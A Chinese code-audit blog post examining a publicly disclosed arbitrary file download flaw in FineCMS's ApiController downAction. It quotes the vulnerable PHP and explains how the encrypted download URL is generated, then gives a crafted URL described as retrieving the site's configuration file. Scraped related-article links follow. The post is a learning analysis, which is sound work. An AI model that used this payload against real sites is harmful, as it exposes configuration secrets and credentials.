代码审计之Finecms任意文件下载漏洞
PS:该漏洞已被公布,只是学习。故自己跟着大佬的步伐审计。
文件地址:\controllers\ApiController.php Line 57
    public function downAction() {
        $data = fn_authcode(base64_decode($this->get('file')), 'DECODE');
        $file = isset($data['finecms']) && $data['finecms'] ? $data['finecms'] : '';
        if (empty($file)) {
            $this->msg(lang('a-mod-213'));//该方法可以不管。
        }
        if (strpos($file, ':/')) {//查找:/第一次出现的位置,如果有就执行header否则...
            //远程
            header("Location: $file");
        } else {
            //本地
            $file = str_replace('..', '', $file);//将变量file里的..替换为空
            $file = strpos($file, '/') === 0 ? APP_ROOT.$file : $file;//找$file出现在第一位,则返回根路径+$file
            if (!is_file($file)) {
                $this->msg(lang('a-mod-214') . '(#' . $file . ')');
            };
            header('Pragma: public');
            header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
            header('Cache-Control: no-store, no-cache, must-revalidate');
            header('Cache-Control: pre-check=0, post-check=0, max-age=0');
            header('Content-Transfer-Encoding: binary');
            header('Content-Encoding: none');
            header('Content-type: ' . strtolower(trim(substr(strrchr($file, '.'), 1, 10))));//strchr是从首个出现.的地方开始截断。strolower转换为小写。
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Content-length: ' . sprintf("%u", filesize($file)));//springtf:把%号替换成一个作为参数,进行传递的变量。
            readfile($file);
            exit;
        }
    }
从这个函数当中可以看出$file是可控的一个变量。
然后就需要研究下载得链接地址是如何来得。
我去测试的时候发现,需要注册了用户才可以下载。然后得到下面这个下载得url:
如下图:

以下这个url就是上面提示得这个url:
http://127.0.0.1/1/index.php?c=api&a=down&file=M2ZiZjF2YktnL2RDS2lEWlNybHdkSU1ITnhpSkdtM1BQU01HYXRiSjJvYUFMbmtkejBOc0pVYkt1RlFYa0FGQW9JMjBseFBMQnFmT2xyRXN3bXMva1NpQ3YzK0dja1pWM285cVkrRmFUTFNqTWlseVg1VQ
由此锁定downfile函数。
文件地址:extensions/function.php
function downfile($url) {
	return url('api/down', array('file' => str_replace('=', '', base64_encode(fn_authcode(array('finecms' => $url), 'ENCODE')))));
}
$url这个参数作为路劲。
然后我们可以那么做。本地自己构造这个函数去。
我直接在index.php页面执行了这个函数:

然后在网站的底部就直接生成了下载的URL:

如果是要下载配置文件的话就是:
index.php?c=api&a=down&file=YzlhOENnNWhPclk2cDZuMGxkZWNrcVFvSWRiNjFlME1QLzFkdTMwekRSeDdYL0lPdXU1Sm04RzgzY2UwSVRucnplR1NQZnc1dFBZNitOemlvK2F5LzNZNjlGcHJkNWJGVEE
代码审计之Finecms任意文件下载漏洞的更多相关文章
- 【代码审计】ThinkSNS_V4 任意文件下载漏洞分析
		0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4 更新时间:2017-09-13 程序源码下载:http://www ... 
- 代码审计-(Ear Music).任意文件下载漏洞
		0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ... 
- 【代码审计】XYHCMS V3.5任意文件下载漏洞分析
		0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ... 
- 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析
		0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ... 
- 【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析
		0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/i ... 
- PHP代码审计笔记--任意文件下载漏洞
		在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件. 0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ... 
- 任意文件下载漏洞的接口URL构造分析与讨论
		文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname ... 
- 代码审计-phpcms9.6.2任意文件下载漏洞
		漏洞文件: phpcms\modules\content\down.php 1.在download函数中对文件的校验部分 首先 if(preg_match('/(php|phtml|php3|php4 ... 
- ASP代码审计学习笔记 -5.文件下载漏洞
		文件下载漏洞 漏洞代码: <% function download(f,n) on error resume next Set S=CreateObject("Adodb.Stream ... 
随机推荐
- hadoop实战--搭建开发环境及编写Hello World
			本文地址:http://www.cnblogs.com/archimedes/p/hadoop-helloworld.html,转载请注明源地址. 欢迎关注我的个人博客:www.wuyudong.co ... 
- PHP的代理模式
			php的代理模式的实现: 理解一种模式,可以融会贯通,和其它的模式进行对比.找出为什么要 代理模式呢?跟父类.接口的区别是什么? 为什么需要这种模式?存在的价值? 原文:https://www.cnb ... 
- UNIX网络编程读书笔记:端口号、套接口对和套接口
			端口号 端口号(port number):16位整数,用来区分不同的进程. 服务器使用的端口号:TCP和UDP定义了一组众所周知的端口(well-known port),用于标识众所周知的服务. 客户 ... 
- Android调用系统拍照裁剪和选图功能
			最近项目中用到修改用户头像的功能,基本上都是模板代码,现在简单记录一下. 调用系统拍照 private fun openCamera() { //调用相机拍照 // 创建File对象,用于存储拍照后的 ... 
- 【转】IT新人如何快速成长
			主动积极 主动积极包括很多方面了,主动学习.主动思考.主动承担责任等等.我觉得主动性很重要,如果你能做到这一点,那么肯定会把工作做的很好的. 学会学习 公司不是学校,需要改变由老师灌输知识的学习方式. ... 
- unix 网络编程第八章 UDP
			code 见 https://github.com/juniperdiego/Unix-network-programming-of-mine/tree/master/udpserv01 1 建立so ... 
- php后台“爬虫”模拟登录第三方系统
			http://blog.csdn.net/liu_c_y/article/details/49956679 http://www.php100.com/html/webkaifa/PHP/PHPyin ... 
- Linux 间网线直连
			核心提示:两台linux 系统用交叉线直连的方法: 1.交叉网线制作 A头:白橙,橙,白绿,蓝,白蓝,绿,白褐,褐 B头:白绿,绿,白橙,蓝,白蓝,橙,白褐,褐 即 B头的1.3脚相对A头互换:2脚与 ... 
- DotNet Core 2.0使用MySql实现Code First
			本教程使用vs2017 + dotnet core2.0 + MySql5.7.19 1.打开vs2017,文件>新建>项目,选择Asp.Net Core Web应用程序. 2.项目名称可 ... 
- C# 动态生成word文档  [C#学习笔记3]关于Main(string[ ] args)中args命令行参数  实现DataTables搜索框查询结果高亮显示  二维码神器QRCoder  Asp.net MVC 中 CodeFirst 开发模式实例
			C# 动态生成word文档 本文以一个简单的小例子,简述利用C#语言开发word表格相关的知识,仅供学习分享使用,如有不足之处,还请指正. 在工程中引用word的动态库 在项目中,点击项目名称右键-- ... 
